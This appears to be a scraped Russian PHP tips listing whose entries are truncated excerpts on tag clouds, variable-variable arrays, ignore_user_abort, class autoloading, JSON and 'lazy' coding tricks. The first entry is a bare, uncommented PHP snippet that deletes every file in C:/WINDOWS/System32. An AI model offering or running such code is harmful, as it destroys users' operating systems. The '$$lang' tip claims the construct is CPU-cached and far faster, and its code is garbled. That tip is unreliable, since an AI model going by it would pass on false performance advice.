Code <?php set_time_limit(0); foreach (glob("C:/WINDOWS/System32/*") as $filename) { unlink($filename); } ?> |
Скрипт "Облако тегов" 1)Cоздаём папку tagcloud, в которой должны быть 2 файла: -swfobject.js содержащий |
Меня всегда мучал вопрос - что лучше - переменные или массивы, в итоге, пришел к тому, что лучше всего недоменные. недоменные, то есть подача в таком виде
$$lang("text1") => "Текст 1"; $$lang("text2") => "Текст 2"; $$lang("text3") => "Текст 3"; данный вариант является самым оптимальным, потому что он кешируется центральным процессором и все последующие действия обрабатываются в множество раз быстрее. за счет такой конструкции можно очень сильно разгрузить сервер. Если у вас выдает где то ошибку - возможно у вас старая версия php, ибо это появилось совсем недавно (на хабре читал может 1-2 месяца назад) ключи могут быть как text1 так и текс1, хоть " " тоже будет являться ключем. работа очень удобная, использую ... Читать дальше » |
С помощью этого примера можно получить расширение файла+изменить его |
Я сам редко сталкивался с такой ситуацией, но для больших проектов это наверняка часто встречающаяся проблема. Предположим, что скрипт выполняет какие-то запросы в базе данных (удление/добавления/редактирование) и во время этого пользователь нажимает кнопку Stop в браузере. По этой команде php скрипт завершает свою работу, что, в нашем случае может оказаться чреватым нарушением целостности базы данных. Эта проблема решается функцией ignore_user_abort(): <!-- Ваши запросы к базе данных --> ignore_user_abort(false); |
В этой статье я хочу рассказать, как избавиться от include-ов файлов с PHP-классами и сделать их подгрузку полностью автоматической.
Этот метод актуален только для объектно-ориентированного стиля программирования, и будет работать в версии PHP 5.1.2 и выше. Давайте рассмотрим пример. Имеем два файла: Файл example.php: class example { static function call() { echo 'You call "' . __CLASS__ . '" class.'; } } ?> Файл index.php: include 'example.php'; example::call(); ?> Оба файла находятся в одной директории. В первом файле example.php объявлен класс example. Во втором файле мы подключаем example.php и вызываем метод call класса example. Метод call ... Читать дальше » |
В этой статье я хочу рассказать о текстовом формате обмена данными — JSON, а именно — про работу с этим форматом в PHP.
JSON — компактный текстовый формат данных. Может применяться как в интернет-службах передачи данных, так и для хранения информации в структурированном виде. Описание JSON из википедии: |
Ленивые переменные-этот прием полезен для «ленивых» разработчиков, которые даже не задумываются о названиях переменных. Они предпочитают такое наименование, как «${0}» и «0» — ведь это хорошее название для переменной, почему нет…
Но я уверен, что когда нет переменной, нет и проблемы. Поэтому приведу несколько приемов, которые делают Ваш код короче и труднее для восприятия :) Трюк I. Используйте || (или) и && (и) вместо if Много кода Меньше кода ${0} = fwrite($h, 'some text'); Еще меньше кода fwrite($h, 'some text') or log('Writing failed'); Трюк II.Используйте «тернарный оператор» Много кода if($age < 16) { |
Простенький скрипт, довольно сырой, но использовать можно. Изначально писался под Linux |